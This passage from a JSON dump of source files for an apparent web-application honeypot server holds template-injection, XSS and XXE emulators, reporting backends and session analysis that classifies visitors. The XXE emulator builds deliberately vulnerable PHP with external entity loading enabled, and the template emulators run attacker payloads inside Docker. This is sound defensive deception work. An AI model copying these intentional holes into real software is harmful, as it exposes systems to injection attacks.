self.docker_helper.execute_cmd(cmd, \"template_injection:latest\")\n\n            # Removing string \"b''\" from results\n            if execute_result:\n                execute_result = execute_result[2:-2]\n\n        elif patterns.TEMPLATE_INJECTION_MAKO.match(payload):\n            work_dir = TannerConfig.get(\"DATA\", \"mako\")\n\n            with open(work_dir, \"r\") as f:\n                mako_template = f.read().format(payload)\n\n            cmd = [\"python3\", \"-c\", mako_template]\n            execute_result = await self.docker_helper.execute_cmd(cmd, \"template_injection:latest\")\n\n        result = dict(value=execute_result, page=True)\n        return result\n\n    def scan(self, value):\n        detection = None\n        value = unquote(value)\n\n        if patterns.TEMPLATE_INJECTION_TORNADO.match(value) or patterns.TEMPLATE_INJECTION_MAKO.match(value):\n            detection = dict(name=\"template_injection\", order=4)\n\n        return detection\n\n    async def handle(self, attack_params, session=None):\n        attack_params[0][\"value\"] = unquote(attack_params[0][\"value\"])\n        result = await self.get_injection_result(attack_params[0][\"value\"])\n        return result\n"
  },
  {
    "path": "tanner/emulators/xss.py",
    "content": "from tanner.utils import patterns\n\n\nclass XssEmulator:\n    def scan(self, value):\n        detection = None\n        if patterns.XSS_ATTACK.match(value):\n            detection = dict(name=\"xss\", order=3)\n        return detection\n\n    def get_xss_result(self, session, attack_params):\n        result = None\n        value = \"\"\n        for param in attack_params:\n            value += param[\"value\"] if not value else \"\\n\" + param[\"value\"]\n        result = dict(value=value, page=True)\n        return result\n\n    async def handle(self, attack_params, session):\n        xss_result = None\n        xss_result = self.get_xss_result(session, attack_params)\n        return xss_result\n"
  },
  {
    "path": "tanner/emulators/xxe_injection.py",
    "content": "import asyncio\nimport logging\n\nfrom tanner.config import TannerConfig\nfrom tanner.utils.php_sandbox_helper import PHPSandboxHelper\nfrom tanner.utils import patterns\n\n\nclass XXEInjection:\n    def __init__(self, loop=None):\n        self._loop = loop if loop is not None else asyncio.get_event_loop()\n        self.logger = logging.getLogger(\"tanner.xxe_injection\")\n        self.helper = PHPSandboxHelper(self._loop)\n\n    async def get_injection_result(self, code):\n        \"\"\"\n        Injects the code from attacker to vulnerable code and get emulation results from php sandbox.\n        :param code (str): Input payload from attacker\n        :return: object_injection_result (dict): file_md5 (md5 hash), stdout (injection result) as keys.\n        \"\"\"\n\n        vul_code = (\n            \"\"\"<?php\n                        libxml_disable_entity_loader (false);\n                        $xml = \\'%s\\';\n                        $dom = new DOMDocument();\n                        $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);\n                        $data = simplexml_import_dom($dom);\n\n                        echo $data;\n                      ?>\"\"\"\n            % code\n        )\n\n        self.logger.debug(\"Getting the XXE injection results of %s from php sandbox\", code)\n        xxe_injection_result = await self.helper.get_result(vul_code)\n\n        return xxe_injection_result\n\n    def scan(self, value):\n        \"\"\"\n        Scans the input payload to detect attack using regex\n        :param value (str): code from attacker\n        :return: detection (dict): name (attack name), order (attack order) as keys\n        \"\"\"\n\n        detection = None\n        if patterns.XXE_INJECTION.match(value):\n            detection = dict(name=\"xxe_injection\", order=3)\n        return detection\n\n    async def handle(self, attack_params):\n        \"\"\"\n        Handler of emulator\n        :param attack_params (list): contains dicts as elements with id and value (payload from attacker) as keys\n        :return: (dict): value (result of emulator), page (if set to true the payload will be injected to index.html\n        itself) as keys.\n        \"\"\"\n\n        result = await self.get_injection_result(attack_params[0][\"value\"])\n        if not result or \"stdout\" not in result:\n            self.logger.exception(\"Error while getting the injection results from php sandbox..\")\n            return dict(status_code=504)\n\n        if TannerConfig.get(\"XXE_INJECTION\", \"OUT_OF_BAND\"):\n            self.logger.debug(\"Out of Band XXE injection detected..\")\n            return dict(value=\"\", page=False)\n        return dict(value=result[\"stdout\"], page=False)\n"
  },
  {
    "path": "tanner/files/engines/mako.py",
    "content": "from mako.template import Template\n\nmako_template = Template(\"\"\"{}\"\"\")\ntemplate_injection_result = mako_template.render()\nprint(template_injection_result)\n"
  },
  {
    "path": "tanner/files/engines/tornado.py",
    "content": "import tornado\n\ncode = \"{}\"\nresult = tornado.template.Template(code)\ntemplate_injection_result = result.generate()\nprint(template_injection_result)\n"
  },
  {
    "path": "tanner/redis_client.py",
    "content": "import asyncio\nimport logging\n\nimport aioredis\n\nfrom tanner.config import TannerConfig\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass RedisClient:\n    @staticmethod\n    async def get_redis_client(poolsize=None):\n        redis_client = None\n        try:\n            host = TannerConfig.get(\"REDIS\", \"host\")\n            port = TannerConfig.get(\"REDIS\", \"port\")\n            username=\"\"\n            password=\"\"\n\n            if poolsize is None:\n                poolsize = TannerConfig.get(\"REDIS\", \"poolsize\")\n            redis_client = aioredis.from_url(\n                            f\"redis://{username}:{password}@{host}:{port}\",\n                            encoding=\"utf-8\",\n                            decode_responses=True,\n                            max_connections=poolsize\n            )\n        except asyncio.TimeoutError as timeout_error:\n            LOGGER.exception(\"Problem with redis connection. Please, check your redis server. %s\", timeout_error)\n            exit()\n        return redis_client\n"
  },
  {
    "path": "tanner/reporting/__init__.py",
    "content": ""
  },
  {
    "path": "tanner/reporting/hpfeeds.py",
    "content": "#\n# hpfeeds.py\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2 as\n# published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n# MA  02111-1307  USA\n\n#\n# This code is combination of the following source codes:\n#\n# https://github.com/buffer/thug/blob/master/hpfeeds/hpfeeds.py\n# https://github.com/DinoTools/dionaea/blob/master/modules/python/dionaea/hpfeeds.py\n#\n\nimport logging\nimport struct\nimport hashlib\nimport sys\nimport socket\nimport time\n\nlogger = logging.getLogger(\"pyhpfeeds\")\n\nBUFSIZ = 16384\n\nOP_ERROR = 0\nOP_INFO = 1\nOP_AUTH = 2\nOP_PUBLISH = 3\nOP_SUBSCRIBE = 4\n\nMAXBUF = 1024 ** 2\nSIZES = {\n    OP_ERROR: 5 + MAXBUF,\n    OP_INFO: 5 + 256 + 20,\n    OP_AUTH: 5 + 256 + 20,\n    OP_PUBLISH: 5 + MAXBUF,\n    OP_SUBSCRIBE: 5 + 256 * 2,\n}\n\n__all__ = [\"new\", \"FeedException\"]\n\n\nclass BadClient(Exception):\n    pass\n\n\nclass FeedException(Exception):\n    pass\n\n\nclass Disconnect(Exception):\n    pass\n\n\n# packs a string with 1 byte length field\ndef strpack8(x):\n    if isinstance(x, str):\n        x = x.encode(\"latin1\")\n    return struct.pack(\"!B\", len(x) % 0xFF) + x\n\n\n# unpacks a string with 1 byte length field\ndef strunpack8(x):\n    lenght = x[0]\n    return x[1 : 1 + lenght], x[1 + lenght :]\n\n\ndef msghdr(op, data):\n    return struct.pack(\"!iB\", 5 + len(data), op) + data\n\n\ndef msgpublish(ident, chan, data):\n    return msghdr(OP_PUBLISH, strpack8(ident) + strpack8(chan) + data.encode(\"latin1\"))\n\n\ndef msgsubscribe(ident, chan):\n    if isinstance(chan, str):\n        chan = chan.encode(\"latin1\")\n    return msghdr(OP_SUBSCRIBE, strpack8(ident) + chan)\n\n\ndef msgauth(rand, ident, secret):\n    auth_hash = hashlib.sha1(rand + secret.encode(\"latin1\")).digest()\n    return msghdr(OP_AUTH, strpack8(ident) + auth_hash)\n\n\nclass FeedUnpack(object):\n    def __init__(self):\n        self.buf = bytearray()\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        return self.unpack()\n\n    def feed(self, data):\n        self.buf.extend(data)\n\n    def unpack(self):\n        if len(self.buf) < 5:\n            raise StopIteration(\"No message.\")\n\n        ml, opcode = struct.unpack(\"!iB\", self.buf[:5])\n        if ml > SIZES.get(opcode, MAXBUF):\n            raise BadClient(\"Not respecting MAXBUF.\")\n\n        if len(self.buf) < ml:\n            raise StopIteration(\"No message.\")\n\n        data = self.buf[5:ml]\n        del self.buf[:ml]\n        return opcode, data\n\n\nclass HPC(object):\n    def __init__(self, host, port, ident, secret, timeout=3, reconnect=False, reconnect_attempts=3, sleepwait=20):\n        self.host, self.port = host, port\n        self.ident, self.secret = ident, secret\n        self.timeout = timeout\n        self.reconnect = reconnect\n        self.reconnect_attempts = reconnect_attempts\n        self.sleepwait = sleepwait\n        self.brokername = \"unknown\"\n        self.connected = False\n        self.stopped = False\n        self.s = None\n        self.unpacker = FeedUnpack()\n\n        try:\n            self.tryconnect()\n        except Exception:\n            raise\n\n    def send(self, data):\n        try:\n            self.s.sendall(data)\n        except socket.timeout:\n            logger.warn(\"Timeout while sending - disconnect.\")\n            raise Disconnect()\n        except socket.error as e:\n            logger.warn(\"Socket error: %s\", e)\n            raise Disconnect()\n\n    def tryconnect(self):\n        if not self.connected:\n            i = 0\n            while i < self.reconnect_attempts:\n                i += 1\n                try:\n                    self.connect()\n                    break\n                except socket.error as e:\n                    logger.warn(\"Socket error while connecting: {0}\".format(e))\n                    time.sleep(self.sleepwait)\n                except FeedException as e:\n                    logger.warn(\"FeedException while connecting: {0}\".format(e))\n                    time.sleep(self.sleepwait)\n                except Disconnect as e:\n                    logger.warn(\"Disconnect while connecting.\")\n                    time.sleep(self.sleepwait)\n\n            if not self.connected:\n                raise Disconnect()\n        else:\n            logger.warning(\"Trying to connect, but already connected!\")\n\n    def close_old(self):\n        if self.s:\n            try:\n                self.s.close()\n\n            except Exception:\n                pass\n\n    def connect(self):\n        self.close_old()\n\n        logger.info(\"connecting to %s:%s\", self.host, self.port)\n        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.s.settimeout(self.timeout)\n        try:\n            self.s.connect((self.host, self.port))\n        except Exception:\n            raise FeedException(\"Could not connect to broker.\")\n        self.connected = True\n\n        try:\n            d = self.s.recv(BUFSIZ)\n        except socket.timeout:\n            raise FeedException(\"Connection receive timeout.\")\n\n        self.unpacker.feed(d)\n        for opcode, data in self.unpacker:\n            if opcode == OP_INFO:\n                name, rest = strunpack8(data)\n                rand = bytes(rest)\n\n                logger.debug(\"info message name: %s, rand: %s\", name, repr(rand))\n                self.brokername = name\n\n                self.s.send(msgauth(rand, self.ident, self.secret))\n                break\n            else:\n                raise FeedException(\"Expected info message at this point.\")\n\n        self.s.settimeout(None)\n        self.s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n\n        if sys.platform in (\"linux2\",):\n            self.s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 60)\n\n    def publish(self, chaninfo, data):\n        if type(chaninfo) == str:\n            chaninfo = [chaninfo]\n        for c in chaninfo:\n            try:\n                self.send(msgpublish(self.ident, c, data))\n            except Disconnect:\n                logger.info(\"Disconnected from broker (in publish).\")\n                self.connected = False\n                if self.reconnect:\n                    self.tryconnect()\n                else:\n                    logger.info(\"Do not reconnect, aborting.\")\n                    self.close_old()\n                    raise\n\n    def close(self):\n        try:\n            self.s.close()\n        except Exception:\n            logger.warn(\"Socket exception when closing.\")\n\n\ndef new(host=None, port=10000, ident=None, secret=None, reconnect=True):\n    try:\n        return HPC(host, port, ident, secret, reconnect=reconnect)\n    except Exception:\n        raise\n"
  },
  {
    "path": "tanner/reporting/log_hpfeeds.py",
    "content": "import traceback\nimport json\nfrom datetime import datetime\n\nimport tanner.reporting.hpfeeds as hpfeeds\n\nfrom tanner import config\n\n\nclass Reporting:\n    def __init__(self):\n        # Create the connection\n        self.host = config.TannerConfig.get(\"HPFEEDS\", \"HOST\")\n        self.port = config.TannerConfig.get(\"HPFEEDS\", \"PORT\")\n        self.ident = config.TannerConfig.get(\"HPFEEDS\", \"IDENT\")\n        self.secret = config.TannerConfig.get(\"HPFEEDS\", \"SECRET\")\n        self.channel = config.TannerConfig.get(\"HPFEEDS\", \"CHANNEL\")\n        self.reconnect = True\n\n    def connect(self):\n        try:\n            self.hpc = hpfeeds.new(self.host, self.port, self.ident, self.secret, self.reconnect)\n            self.connected_state = True\n        except Exception:\n            self.connected_state = False\n\n    def connected(self):\n        return self.connected_state\n\n    def create_session(self, session_data):\n        session_data[\"timestamp\"] = datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n        event_data = json.dumps(session_data)\n        try:\n            self.hpc.publish(self.channel, event_data)\n        except Exception:\n            self.connected_state = False\n            traceback.print_exc()\n"
  },
  {
    "path": "tanner/reporting/log_local.py",
    "content": "import json\nfrom datetime import datetime\nfrom tanner import config\n\n\nclass Reporting:\n    @staticmethod\n    def create_session(session_data):\n        report_file = config.TannerConfig.get(\"LOCALLOG\", \"PATH\")\n        with open(report_file, \"a\") as out:\n            session_data[\"timestamp\"] = datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n            json.dump(session_data, out)\n            out.write(\"\\n\")\n"
  },
  {
    "path": "tanner/reporting/log_mongodb.py",
    "content": "try:\n    import pymongo\n\n    MONGO = True\nexcept ImportError:\n    MONGO = False\nfrom bson.objectid import ObjectId\nfrom gridfs import GridFS\n\nfrom tanner import config\n\n\nclass Reporting:\n    def __init__(self):\n        if MONGO:\n            # Create the connection\n            mongo_uri = config.TannerConfig.get(\"MONGO\", \"URI\")\n\n            connection = pymongo.MongoClient(mongo_uri)\n\n            # Connect to Databases.\n            tandb = connection[\"tanner\"]\n            tandbfs = connection[\"voldbfs\"]\n\n            # Get Collections\n            self.tan_sessions = tandb.sessions\n            self.tan_files = GridFS(tandbfs)\n\n            # Indexes\n            self.tan_sessions.create_index([(\"$**\", \"text\")])\n        else:\n            print(\"pymongo not found. pip install pymongo\")\n\n    def update_session(self, session_id, new_values):\n        session_id = ObjectId(session_id)\n        self.tan_sessions.update_one({\"_id\": session_id}, {\"$set\": new_values})\n        return True\n\n    def create_session(self, session_data):\n        session_id = self.tan_sessions.insert_one(session_data).inserted_id\n        return session_id\n"
  },
  {
    "path": "tanner/server.py",
    "content": "import asyncio\nimport json\nimport logging\nimport yarl\n\nfrom aiohttp import web\n\nfrom tanner import dorks_manager, redis_client\nfrom tanner.sessions import session_manager\nfrom tanner.config import TannerConfig\nfrom tanner.emulators import base\nfrom tanner.reporting.log_local import Reporting as local_report\nfrom tanner.reporting.log_mongodb import Reporting as mongo_report\nfrom tanner.reporting.log_hpfeeds import Reporting as hpfeeds_report\nfrom tanner import __version__ as tanner_version\n\nclass TannerServer:\n    def __init__(self):\n        base_dir = TannerConfig.get(\"EMULATORS\", \"root_dir\")\n        db_name = TannerConfig.get(\"SQLI\", \"db_name\")\n\n        self.session_manager = session_manager.SessionManager()\n        self.delete_timeout = TannerConfig.get(\"SESSIONS\", \"delete_timeout\")\n\n        self.dorks = dorks_manager.DorksManager()\n        self.base_handler = base.BaseHandler(base_dir, db_name)\n        self.logger = logging.getLogger(__name__)\n        self.redis_client = None\n\n        if TannerConfig.get(\"HPFEEDS\", \"enabled\") is True:\n            self.hpf = hpfeeds_report()\n            self.hpf.connect()\n\n            if self.hpf.connected() is False:\n                self.logger.warning(\"hpfeeds not connected - no hpfeeds messages will be created\")\n\n    @staticmethod\n    def _make_response(msg):\n        response_message = dict(version=tanner_version, response=dict(message=msg))\n        return response_message\n\n    @staticmethod\n    async def default_handler(request):\n        return web.Response(text=\"Tanner server\")\n\n    async def handle_event(self, request):\n        data = await request.read()\n        try:\n            data = json.loads(data.decode(\"utf-8\"))\n            path = yarl.URL(data[\"path\"]).human_repr()\n        except (TypeError, ValueError, KeyError) as error:\n            self.logger.exception(\"error parsing request: %s\", data)\n            response_msg = self._make_response(msg=type(error).__name__)\n        else:\n            session, _ = await self.session_manager.add_or_update_session(data, self.redis_client)\n            self.logger.info(\"Requested path %s\", path)\n            await self.dorks.extract_path(path, self.redis_client)\n            detection = await self.base_handler.handle(data, session)\n            session.set_attack_type(path, detection[\"name\"])\n\n            response_msg = self._make_response(msg=dict(detection=detection, sess_uuid=session.get_uuid()))\n            self.logger.info(\"TANNER response %s\", response_msg)\n\n            session_data = data\n            session_data[\"response_msg\"] = response_msg\n\n            # Log to Mongo\n            if TannerConfig.get(\"MONGO\", \"enabled\") is True:\n                db = mongo_report()\n                session_id = db.create_session(session_data)\n                self.logger.info(\"Writing session to DB: {}\".format(session_id))\n\n            # Log to hpfeeds\n            if TannerConfig.get(\"HPFEEDS\", \"enabled\") is True:\n                if self.hpf.connected():\n                    self.hpf.create_session(session_data)\n\n            if TannerConfig.get(\"LOCALLOG\", \"enabled\") is True:\n                lr = local_report()\n                lr.create_session(session_data)\n\n        return web.json_response(response_msg)\n\n    async def handle_dorks(self, request):\n        dorks = await self.dorks.choose_dorks(self.redis_client)\n        response_msg = dict(version=tanner_version, response=dict(dorks=dorks))\n        return web.json_response(response_msg)\n\n    async def handle_version(self, request):\n        response_msg = dict(version=tanner_version)\n        return web.json_response(response_msg)\n\n    async def on_shutdown(self, app):\n        await self.session_manager.delete_sessions_on_shutdown(self.redis_client)\n        await self.redis_client.close()\n\n    async def delete_sessions(self):\n        try:\n            while True:\n                await self.session_manager.delete_old_sessions(self.redis_client)\n                await asyncio.sleep(self.delete_timeout)\n        except asyncio.CancelledError:\n            pass\n\n    def setup_routes(self, app):\n        app.router.add_route(\"*\", \"/\", self.default_handler)\n        app.router.add_post(\"/event\", self.handle_event)\n        app.router.add_get(\"/dorks\", self.handle_dorks)\n        app.router.add_get(\"/version\", self.handle_version)\n\n    async def make_app(self):\n        app = web.Application()\n        app.on_shutdown.append(self.on_shutdown)\n        self.setup_routes(app)\n        app.on_startup.append(self.start_background_delete)\n        app.on_cleanup.append(self.cleanup_background_tasks)\n        return app\n\n    async def start_background_delete(self, app):\n        app[\"session_delete\"] = asyncio.ensure_future(self.delete_sessions())\n\n    async def cleanup_background_tasks(self, app):\n        app[\"session_delete\"].cancel()\n        await app[\"session_delete\"]\n\n    def start(self):\n        loop = asyncio.get_event_loop()\n        self.redis_client = loop.run_until_complete(redis_client.RedisClient.get_redis_client())\n\n        host = TannerConfig.get(\"TANNER\", \"host\")\n        port = TannerConfig.get(\"TANNER\", \"port\")\n\n        web.run_app(self.make_app(), host=host, port=port)\n"
  },
  {
    "path": "tanner/sessions/__init__.py",
    "content": ""
  },
  {
    "path": "tanner/sessions/session.py",
    "content": "import json\nimport time\nimport uuid\nfrom urllib.parse import urlparse\n\nfrom tanner.config import TannerConfig\nfrom tanner.utils import aiodocker_helper\nfrom tanner.utils.mysql_db_helper import MySQLDBHelper\nfrom tanner.utils.sqlite_db_helper import SQLITEDBHelper\n\n\nclass Session:\n    KEEP_ALIVE_TIME = 75\n\n    def __init__(self, data):\n        try:\n            self.ip = data[\"peer\"][\"ip\"]\n            self.port = data[\"peer\"][\"port\"]\n            self.user_agent = data[\"headers\"][\"user-agent\"]\n            self.snare_uuid = data[\"uuid\"]\n            self.paths = [{\"path\": data[\"path\"], \"timestamp\": time.time(), \"response_status\": data[\"status\"]}]\n            self.referer = None\n            if \"referer\" in data[\"headers\"]:\n                ref = urlparse(data[\"headers\"][\"referer\"])\n                self.referer = ref.path\n            self.cookies = data[\"cookies\"]\n            self.associated_db = None\n            self.associated_env = None\n        except KeyError:\n            raise\n\n        self.sess_uuid = uuid.uuid4()\n        self.start_timestamp = time.time()\n        self.timestamp = time.time()\n        self.count = 1\n\n    def update_session(self, data):\n        self.timestamp = time.time()\n        self.count += 1\n        self.paths.append({\"path\": data[\"path\"], \"timestamp\": time.time(), \"response_status\": data[\"status\"]})\n        for (key, value) in data[\"cookies\"].items():\n            self.cookies.update({key: value})\n\n    def is_expired(self):\n        exp_time = self.timestamp + self.KEEP_ALIVE_TIME\n        if time.time() - exp_time > 0:\n            return True\n\n    def to_json(self):\n        sess = dict(\n            peer=dict(ip=self.ip, port=self.port),\n            user_agent=self.user_agent,\n            snare_uuid=self.snare_uuid,\n            sess_uuid=self.sess_uuid.hex,\n            start_time=self.start_timestamp,\n            end_time=self.timestamp,\n            count=self.count,\n            paths=self.paths,\n            cookies=self.cookies,\n            referer=self.referer,\n        )\n        return json.dumps(sess)\n\n    def set_attack_type(self, path, attack_type):\n        for sess_path in self.paths:\n            if sess_path[\"path\"] == path:\n                sess_path.update({\"attack_type\": attack_type})\n\n    def associate_db(self, db_name):\n        self.associated_db = db_name\n\n    async def remove_associated_db(self):\n        if TannerConfig.get(\"SQLI\", \"type\") == \"MySQL\":\n            await MySQLDBHelper().delete_db(self.associated_db)\n        else:\n            SQLITEDBHelper().delete_db(self.associated_db)\n\n    def associate_env(self, env):\n        self.associated_env = env\n\n    async def remove_associated_env(self):\n        await aiodocker_helper.AIODockerHelper().delete_container(self.associated_env)\n\n    def get_uuid(self):\n        return str(self.sess_uuid)\n"
  },
  {
    "path": "tanner/sessions/session_analyzer.py",
    "content": "import asyncio\nimport json\nimport logging\nimport socket\nfrom geoip2.database import Reader\nimport geoip2\nimport aioredis\nfrom tanner.dorks_manager import DorksManager\nfrom tanner.config import TannerConfig\n\n\nclass SessionAnalyzer:\n    def __init__(self, loop=None):\n        self._loop = loop if loop is not None else asyncio.get_event_loop()\n        self.queue = asyncio.Queue()\n        self.logger = logging.getLogger(\"tanner.session_analyzer.SessionAnalyzer\")\n        self.attacks = [\"sqli\", \"rfi\", \"lfi\", \"xss\", \"php_code_injection\", \"cmd_exec\", \"crlf\"]\n\n    async def analyze(self, session_key, redis_client):\n        session = None\n        await asyncio.sleep(1)\n        try:\n            session = await redis_client.get(session_key, encoding=\"utf-8\")\n            session = json.loads(session)\n        except (aioredis.ConnectionError, TypeError, ValueError) as error:\n            self.logger.exception(\"Can't get session for analyze: %s\", error)\n        else:\n            result = await self.create_stats(session, redis_client)\n            await self.queue.put(result)\n            await self.save_session(redis_client)\n\n    async def save_session(self, redis_client):\n        while not self.queue.empty():\n            session = await self.queue.get()\n            s_key = session[\"snare_uuid\"]\n            del_key = session[\"sess_uuid\"]\n            try:\n                await redis_client.zadd(s_key, session[\"start_time\"], json.dumps(session))\n                await redis_client.delete(*[del_key])\n            except aioredis.ConnectionError as redis_error:\n                self.logger.exception(\"Error with redis. Session will be returned to the queue: %s\", redis_error)\n                self.queue.put(session)\n\n    async def create_stats(self, session, redis_client):\n        sess_duration = session[\"end_time\"] - session[\"start_time\"]\n        referer = None\n        if sess_duration != 0:\n            rps = session[\"count\"] / sess_duration\n        else:\n            rps = 0\n        location_info = await self._loop.run_in_executor(None, self.find_location, session[\"peer\"][\"ip\"])\n        tbr, errors, hidden_links, attack_types = await self.analyze_paths(session[\"paths\"], redis_client)\n        attack_count = self.set_attack_count(attack_types)\n\n        stats = dict(\n            sess_uuid=session[\"sess_uuid\"],\n            peer_ip=session[\"peer\"][\"ip\"],\n            peer_port=session[\"peer\"][\"port\"],\n            location=location_info,\n            user_agent=session[\"user_agent\"],\n            snare_uuid=session[\"snare_uuid\"],\n            start_time=session[\"start_time\"],\n            end_time=session[\"end_time\"],\n            requests_in_second=rps,\n            approx_time_between_requests=tbr,\n            accepted_paths=session[\"count\"],\n            errors=errors,\n            hidden_links=hidden_links,\n            attack_types=attack_types,\n            attack_count=attack_count,\n            paths=session[\"paths\"],\n            cookies=session[\"cookies\"],\n            referer=session[\"referer\"],\n        )\n\n        owner = await self.choose_possible_owner(stats)\n        stats.update(owner)\n        return stats\n\n    @staticmethod\n    async def analyze_paths(paths, redis_client):\n        tbr = []\n        attack_types = []\n        current_path = paths[0]\n        dorks = await redis_client.smembers(DorksManager.dorks_key)\n\n        for _, path in enumerate(paths, start=1):\n            tbr.append(path[\"timestamp\"] - current_path[\"timestamp\"])\n            current_path = path\n        tbr_average = sum(tbr) / float(len(tbr))\n\n        errors = 0\n        hidden_links = 0\n        for path in paths:\n            if path[\"response_status\"] != 200:\n                errors += 1\n            if path[\"path\"] in dorks:\n                hidden_links += 1\n            if \"attack_type\" in path:\n                attack_types.append(path[\"attack_type\"])\n        return tbr_average, errors, hidden_links, attack_types\n\n    def set_attack_count(self, attack_types):\n        attacks = self.attacks.copy()\n        attacks.append(\"index\")\n        attack_count = {k: 0 for k in attacks}\n        for attack in attacks:\n            attack_count[attack] = attack_types.count(attack)\n        count = {k: v for k, v in attack_count.items() if v != 0}\n        return count\n\n    async def choose_possible_owner(self, stats):\n        owner_names = [\"user\", \"tool\", \"crawler\", \"attacker\", \"admin\"]\n        possible_owners = {k: 0.0 for k in owner_names}\n        if stats[\"peer_ip\"] == \"127.0.0.1\" or stats[\"peer_ip\"] == \"::1\":\n            possible_owners[\"admin\"] = 1.0\n        with open(TannerConfig.get(\"DATA\", \"crawler_stats\")) as f:\n            bots_owner = await self._loop.run_in_executor(None, f.read)\n        crawler_hosts = [\"googlebot.com\", \"baiduspider\", \"search.msn.com\", \"spider.yandex.com\", \"crawl.sogou.com\"]\n        possible_owners[\"crawler\"], possible_owners[\"tool\"] = await self.detect_crawler(\n            stats, bots_owner, crawler_hosts\n        )\n        possible_owners[\"attacker\"] = await self.detect_attacker(stats, bots_owner, crawler_hosts)\n        maxcf = max([possible_owners[\"crawler\"], possible_owners[\"attacker\"], possible_owners[\"tool\"]])\n\n        possible_owners[\"user\"] = round(1 - maxcf, 2)\n\n        owners = {k: v for k, v in possible_owners.items() if v != 0}\n        return {\"possible_owners\": owners}\n\n    @staticmethod\n    def find_location(ip):\n        reader = Reader(TannerConfig.get(\"DATA\", \"geo_db\"))\n        try:\n            location = reader.city(ip)\n            info = dict(\n                country=location.country.name,\n                country_code=location.country.iso_code,\n                city=location.city.name,\n                zip_code=location.postal.code,\n            )\n        except geoip2.errors.AddressNotFoundError:\n            info = \"NA\"  # When IP doesn't exist in the db, set info as \"NA - Not Available\"\n        return info\n\n    async def detect_crawler(self, stats, bots_owner, crawler_hosts):\n        for path in stats[\"paths\"]:\n            if path[\"path\"] == \"/robots.txt\":\n                return (1.0, 0.0)\n        if stats[\"requests_in_second\"] > 10:\n            if stats[\"referer\"] is not None:\n                return (0.0, 0.5)\n            if stats[\"user_agent\"] is not None and stats[\"user_agent\"] in bots_owner:\n                return (0.85, 0.15)\n            return (0.5, 0.85)\n        if stats[\"user_agent\"] is not None and stats[\"user_agent\"] in bots_owner:\n            hostname, _, _ = await self._loop.run_in_executor(None, socket.gethostbyaddr, stats[\"peer_ip\"])\n            if hostname is not None:\n                for crawler_host in crawler_hosts:\n                    if crawler_host in hostname:\n                        return (0.75, 0.15)\n            return (0.25, 0.15)\n        return (0.0, 0.0)\n\n    async def detect_attacker(self, stats, bots_owner, crawler_hosts):\n        if set(stats[\"attack_types\"]).intersection(self.attacks):\n            return 1.0\n        if stats[\"requests_in_second\"] > 10:\n            return 0.0\n        if stats[\"user_agent\"] is not None and stats[\"user_agent\"] in bots_owner:\n            hostname, _, _ = await self._loop.run_in_executor(None, socket.gethostbyaddr, stats[\"peer_ip\"])\n            if hostname is not None:\n                for crawler_host in crawler_hosts:\n                    if crawler_host in hostname:\n                        return 0.25\n            return 0.75\n        if stats[\"hidden_links\"] > 0:\n            return 0.5\n        return 0.0\n"
  },
  {
    "path": "tanner/sessions/session_manager.py",
    "content": "import logging\nimport hashlib\n\nimport aioredis\n\nfrom tanner.sessions.session import Session\nfrom tanner.sessions.session_analyzer import SessionAnalyzer\n\n\nclass SessionManager:\n    def __init__(self, loop=None):\n        self.sessions = {}\n        self.analyzer = SessionAnalyzer(loop=loop)\n        self.logger = logging.getLogger(__name__)\n\n    async def add_or_update_session(self, raw_data, redis_client):\n\n        # handle raw data\n        valid_data = self.validate_data(raw_data)\n        # push snare uuid into redis.\n        await redis_client.sadd(\"snare_ids\", *[valid_data[\"uuid\"]])\n        session_id = self.get_session_id(valid_data)\n        if session_id not in self.sessions:\n            try:\n                new_session = Session(valid_data)\n            except KeyError as key_error:\n                self.logger.exception(\"Error during session creation: %s\", key_error)\n                return\n            self.sessions[session_id] = new_session\n            return new_session, session_id\n        else:\n            self.sessions[session_id].update_session(valid_data)\n        # prepare the list of sessions\n        return self.sessions[session_id], session_id\n\n    @staticmethod\n    def validate_data(data):\n        if \"peer\" not in data:\n            peer = dict(ip=None, port=None)\n            data[\"peer\"] = peer\n\n        data[\"headers\"] = dict((k.lower(), v) for k, v in data[\"headers\"].items())\n        if \"user-agent\" not in data[\"headers\"]:\n            data[\"headers\"][\"user-agent\"] = None\n        if \"path\" not in data:\n            data[\"path\"] = None\n        if \"uuid\" not in data:\n            data[\"uuid\"] = None\n        if \"status\" not in data:\n            data[\"status\"] = 200 if \"error\" not in data else 500\n        if \"cookies\" not in data:\n            data[\"cookies\"] = dict(sess_uuid=None)\n        if \"cookies\" in data and \"sess_uuid\" not in data[\"cookies\"]:\n            data[\"cookies\"][\"sess_uuid\"] = None\n\n        return data\n\n    def get_session_id(self, data):\n        ip = data[\"peer\"][\"ip\"]\n        user_agent = data[\"headers\"][\"user-agent\"]\n        sess_uuid = data[\"cookies\"][\"sess_uuid\"]\n\n        sess_id_string = \"{ip}{user_agent}{sess_uuid}\".format(ip=ip, user_agent=user_agent, sess_uuid=sess_uuid)\n\n        return hashlib.md5(sess_id_string.encode()).hexdigest()\n\n    async def delete_old_sessions(self, redis_client):\n        id_for_deletion = [sess_id for sess_id, sess in self.sessions.items() if sess.is_expired()]\n        for sess_id in id_for_deletion:\n            is_deleted = await self.delete_session(self.sessions[sess_id], redis_client)\n            if is_deleted:\n                try:\n                    del self.sessions[sess_id]\n                except ValueError:\n                    continue\n\n    async def delete_sessions_on_shutdown(self, redis_client):\n        id_for_deletion = list(self.sessions.keys())\n\n        for sess_id in id_for_deletion:\n            is_deleted = await self.delete_session(self.sessions[sess_id], redis_client)\n            if is_deleted:\n                del self.sessions[sess_id]\n\n        try:\n            assert len(self.sessions) == 0\n        except AssertionError:\n            self.logger.exception(\"Not all sessions were moved to 